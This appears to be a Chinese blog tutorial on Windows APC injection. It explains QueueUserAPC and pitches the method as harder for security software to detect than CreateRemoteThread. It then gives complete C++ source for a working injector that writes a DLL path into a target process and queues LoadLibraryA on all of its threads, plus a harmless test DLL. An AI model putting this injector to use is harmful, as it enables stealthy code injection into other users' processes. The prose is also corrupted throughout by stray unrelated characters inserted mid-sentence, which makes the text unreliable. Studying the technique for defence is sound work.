簡介
在之前的文章中筆者曾經(jīng)為大家介紹過使用CreateRemoteThread函數(shù)來實(shí)現(xiàn)遠(yuǎn)程線程注入(鏈接)危号,毫無疑問最經(jīng)典的注入方式,但也因?yàn)槿绱讼郏@種方式到今天已經(jīng)幾乎被所有安全軟件所防御冈闭。所以今天筆者要介紹的是一種相對(duì)比較“另類”的方式佃却,被稱作“APC注入”薄榛。APC(Asynchronous Procedure Call),全稱為異步過程調(diào)用让歼,指的是函數(shù)在特定線程中被異步執(zhí)行敞恋。簡單地說,在Windows操作系統(tǒng)中谋右,每一個(gè)進(jìn)程的每一個(gè)線程都有自己的APC隊(duì)列硬猫,可以使用QueueUserAPC函數(shù)把一個(gè)APC函數(shù)壓入APC隊(duì)列中。當(dāng)處于用戶模式的APC被壓入到線程APC隊(duì)列后改执,線程并不會(huì)立刻執(zhí)行壓入的APC函數(shù)啸蜜,而是要等到線程處于可通知狀態(tài)才會(huì)執(zhí)行,也就是說辈挂,只有當(dāng)一個(gè)線程內(nèi)部調(diào)用WaitForSingleObject, WaitForMultiObjects, SleepEx等函數(shù)將自己處于掛起狀態(tài)時(shí)衬横,才會(huì)執(zhí)行APC隊(duì)列函數(shù),執(zhí)行順序與普通隊(duì)列相同终蒂,先進(jìn)先出(FIFO)蜂林,在整個(gè)執(zhí)行過程中,線程并無任何異常舉動(dòng)拇泣,不容易被察覺噪叙,但缺點(diǎn)是對(duì)于單線程程序一般不存在掛起狀態(tài),所以APC注入對(duì)于這類程序沒有明顯效果霉翔。
代碼樣例
- DLL程序代碼
////////////////////////////////
//
// FileName : HelloWorldDll.cpp
// Creator : PeterZheng
// Date : 2018/11/02 11:10
// Comment : HelloWorld Test DLL ^_^
//
////////////////////////////////
#include <iostream>
#include <Windows.h>
using namespace std;
BOOL WINAPI DllMain(
_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved
)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
- 注入程序代碼
////////////////////////////////
//
// FileName : APCInject.cpp
// Creator : PeterZheng
// Date : 2018/12/17 16:27
// Comment : APC Injector
//
////////////////////////////////
#pragma once
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <strsafe.h>
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;
// 根據(jù)進(jìn)程名字獲取進(jìn)程Id
BOOL GetProcessIdByName(CHAR *szProcessName, DWORD& dwPid)
{
HANDLE hSnapProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapProcess == NULL)
{
printf("[*] Create Process Snap Error!\n");
return FALSE;
}
PROCESSENTRY32 pe32 = { 0 };
RtlZeroMemory(&pe32, sizeof(pe32));
pe32.dwSize = sizeof(pe32);
BOOL bRet = Process32First(hSnapProcess, &pe32);
while (bRet)
{
if (_stricmp(pe32.szExeFile, szProcessName) == 0)
{
dwPid = pe32.th32ProcessID;
return TRUE;
}
bRet = Process32Next(hSnapProcess, &pe32);
}
return FALSE;
}
// 獲取對(duì)應(yīng)進(jìn)程Id的所有線程Id
BOOL GetAllThreadIdByProcessId(DWORD dwPid, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
printf("[*] Create Thread Id Space Error!\n");
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 te32 = { 0 };
RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnapshot == NULL)
{
printf("[*] Create Thread Snap Error!\n");
return FALSE;
}
BOOL bRet = Thread32First(hThreadSnapshot, &te32);
while (bRet)
{
if (te32.th32OwnerProcessID == dwPid)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = te32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnapshot, &te32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
// 主函數(shù)
int main(int argc, char* argv[])
{
if (argc != 3)
{
printf("[*] Format Error! \nYou Should FOLLOW THIS FORMAT: <APCInject EXENAME DLLNAME> \n");
return 0;
}
LPSTR szExeName = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPSTR szDllPath = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlZeroMemory(szExeName, 100);
RtlZeroMemory(szDllPath, 100);
StringCchCopy(szExeName, 100, argv[1]);
StringCchCopy(szDllPath, 100, argv[2]);
DWORD dwPid = 0;
BOOL bRet = GetProcessIdByName(szExeName, dwPid);
if (!bRet)
{
printf("[*] Get Process Id Error!\n");
return 0;
}
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
bRet = GetAllThreadIdByProcessId(dwPid, &pThreadIdList, &dwThreadIdListLength);
if (!bRet)
{
printf("[*] Get All Thread Id Error!\n");
return 0;
}
// 打開進(jìn)程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
printf("[*] Open Process Error!\n");
return 0;
}
DWORD dwDllPathLen = strlen(szDllPath) + 1;
// 申請(qǐng)目標(biāo)進(jìn)程空間构眯,用于存儲(chǔ)DLL路徑
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpBaseAddress == NULL)
{
printf("[*] VirtualAllocEx Error!\n");
return 0;
}
SIZE_T dwWriten = 0;
// 把DLL路徑字符串寫入目標(biāo)進(jìn)程
WriteProcessMemory(hProcess, lpBaseAddress, szDllPath, dwDllPathLen, &dwWriten);
if (dwWriten != dwDllPathLen)
{
printf("[*] Write Process Memory Error!\n");
return 0;
}
LPVOID pLoadLibraryFunc = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (pLoadLibraryFunc == NULL)
{
printf("[*] Get Func Address Error!\n");
return 0;
}
HANDLE hThread = NULL;
// 倒序插入線程APC,可避免出現(xiàn)在插入時(shí)進(jìn)程崩潰的現(xiàn)象
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
QueueUserAPC((PAPCFUNC)pLoadLibraryFunc, hThread, (ULONG_PTR)lpBaseAddress);
CloseHandle(hThread);
hThread = NULL;
}
}
// DLL路徑分割早龟,方便輸出
LPCSTR szPathSign = "\\";
LPSTR p = NULL;
LPSTR next_token = NULL;
p = strtok_s(szDllPath, szPathSign, &next_token);
while (p)
{
StringCchCopy(szDllPath, 100, p);
p = strtok_s(NULL, szPathSign, &next_token);
}
printf("[*] APC Inject Info [%s ==> %s] Success\n", szDllPath, szExeName);
if (hProcess)
{
CloseHandle(hProcess);
hProcess = NULL;
}
if (pThreadIdList)
{
VirtualFree(pThreadIdList, 0, MEM_RELEASE);
pThreadIdList = NULL;
}
VirtualFree(szDllPath, 0, MEM_RELEASE);
VirtualFree(szExeName, 0, MEM_RELEASE);
ExitProcess(0);
return 0;
}
運(yùn)行截圖
參考資料
- 《Windows黑客編程技術(shù)詳解》【甘迪文 著】